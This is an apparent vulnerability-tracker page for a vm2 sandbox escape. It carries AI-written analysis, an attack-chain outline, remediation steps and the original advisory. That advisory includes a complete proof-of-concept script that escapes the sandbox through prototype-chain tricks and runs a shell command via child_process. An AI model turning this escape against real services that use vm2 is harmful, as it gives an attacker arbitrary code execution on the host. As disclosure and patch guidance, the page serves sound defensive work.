EUVD-2026-36441
GHSA-v6mx-mf47-r5wg
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker submits JavaScript to vm2-backed eval endpoint
-
DeliveryResolve host __proto__ getter/setter via Buffer.call.call indirection
-
ExploitTrigger host TypeError via WebAssembly.compileStreaming rejection
-
InstallSever host TypeError.prototype chain through apply-trap bypass
-
C2Second rejection returns raw unwrapped host TypeError
-
ExecuteWalk e.constructor.constructor to host Function
-
ImpactExecute child_process.execSync as Node.js process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V15 - Secure Coding and Architecture Dynamic code resource control
|
| Exploitation Conditions | The vulnerable code path requires only that attacker-controlled JavaScript be executed inside a vm2 VM or NodeVM instance from package version <= 3.11.3 - vm2.run() on its default configuration is sufficient, and no special options, transformers, or sandbox globals need to be enabled. Limiting factors: the target application must actually invoke vm2 on attacker-supplied source (services that use vm2 only on trusted, developer-authored scripts are not exposed); Node.js must support WebAssembly.compileStreaming and Buffer (true on all supported Node LTS versions); and the process privileges of the Node.js host determine the blast radius of the resulting RCE. No user interaction, no prior authentication to vm2 itself, and no non-default configuration are required. |
| Impact | All risk signals are concentrated at the top of the scale. CVSS 10.0 with AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H indicates network-reachable, low-complexity, unauthenticated, no-user-interaction exploitation with scope change and full CIA impact - appropriate for a sandbox library whose whole purpose is to safely run attacker-controlled code. A complete, working PoC ships in the advisory itself, so publicly available exploit code exists and any service that passes untrusted JavaScript to vm2.VM().run() is directly exploitable on default configuration. EPSS and CISA KEV status were not provided in the input, so widespread/active exploitation cannot be confirmed from this data; however, vm2's history of repeated sandbox escapes and its common use behind serverless code-eval, online IDEs, and plugin runtimes makes opportunistic exploitation highly likely once scanners catch up. Note that the CVSS network vector is correct in spirit (untrusted code typically arrives over the network), but the technical exploitation primitive runs inside the Node.js process - the 'network' axis is the data path, not a network protocol bug. |
| Exploit ScenarioDerived | An application that exposes a JavaScript evaluation feature (online sandbox, serverless function runner, configurable rule engine, plugin loader) passes a user-submitted script to |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 29, 2026
Sandbox escape in the vm2 Node.js sandbox library (versions <= 3.11.3) allows untrusted JavaScript executed inside a vm2 VM to reach the host realm and achieve arbitrary code execution. By chaining Buffer.call.call indirection with __lookupGetter__/__lookupSetter__ to obtain host Object.prototype.__proto__ accessors and using a WebAssembly.compileStreaming rejection to surface a host TypeError, an attacker severs a host prototype chain, causing the bridge's proto-walk to return the raw host error unwrapped - yielding e.constructor.constructor as host Function and full RCE. Publicly available exploit code exists (advisory ships a working PoC); CVSS is 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
RemediationAI
Vendor-released patch: upgrade vm2 to version 3.11.4 or later, which contains the two-layer structural fix in lib/bridge.js per commit 27c525f4615e2b983f122e2bed327d810126f5c8 (https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8) and is documented in GHSA-v6mx-mf47-r5wg (https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg). Pin transitive dependencies via npm overrides or yarn resolutions, then run npm ls vm2 to confirm no 3.11.3-or-earlier copies remain. Because vm2's maintainer has publicly recommended migrating away from vm2 after a string of similar escapes, strongly consider replacing vm2 with isolated-vm (separate V8 isolate) or running untrusted JavaScript in a separate process/container/Firecracker microVM where OS-level isolation, not language-level proxies, is the trust boundary. If patching is not immediately possible, the only meaningful compensating control is to stop passing attacker-controlled input to vm2.VM().run() / NodeVM.run() - there is no in-language configuration switch that blocks this class of escape, and source-level denylists for __proto__, __lookupGetter__, Buffer, or WebAssembly are trivially bypassable and will break legitimate code. Where the service can be temporarily degraded, disable the code-evaluation feature entirely until the upgrade lands.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
vm2 is an npm package that purports to run untrusted JavaScript inside a sandboxed VM by mediating all sandbox→host object access through a Proxy-based bridge in lib/bridge.js. The bridge enforces two invariants: (A) host-realm objects cannot be mutated from sandbox code, and (B) host-realm objects never reach sandbox code unwrapped. This CVE (CWE-913, Improper Control of Dynamically-Managed Code Resources) violates both. The bridge's set/defineProperty/setPrototypeOf proxy traps block direct mutation, but the apply trap creates a second mutation path: invoking a host prototype-mutating intrinsic (Object.prototype.__proto__ setter, Object.setPrototypeOf, Reflect.setPrototypeOf, __defineSetter__/__defineGetter__) as a function with a host object as this performs the mutation inside the intrinsic itself, bypassing all write traps. Once a host prototype chain is severed (e.g., TypeError.prototype.[[Prototype]] set to null), the bridge's proto-walking helpers (thisFromOtherWithFactory, thisFromOtherForThrow, thisEnsureThis) fail to locate the registered host-mapping at the expected level and fall through, returning the raw host value. Per the affected CPE pkg:npm/vm2, only the vm2 package is affected - not Node.js's native vm module or other sandboxes.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
Sources disagree (Medium–Critical)AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.
CVSS VectorVendor: https://github.com/patriksimek/vm2
DescriptionCVE.org
Summary
By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.
PoC
"use strict";
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
"use strict";
const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
setProto.call(getProto.call(e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
const HostFunction = e.constructor.constructor;
new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
}
}
f();
`);Impact
Sandbox Escape → RCE
Blast Radius
ecosystem impact- 5 npm packages depend on vm2 (4 direct, 1 indirect)
Ecosystem-wide dependent count for version 3.11.4.
Executive ViewAI
The vm2 Node.js sandbox library (versions ≤3.11.3) contains a critical sandbox escape flaw enabling unauthenticated remote code execution. Any organization using vm2 to execute untrusted code faces immediate risk of complete host system compromise; publicly available exploit code has been identified. Immediate vendor patch deployment is critical.
Apply vendor patch.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Exploit-DB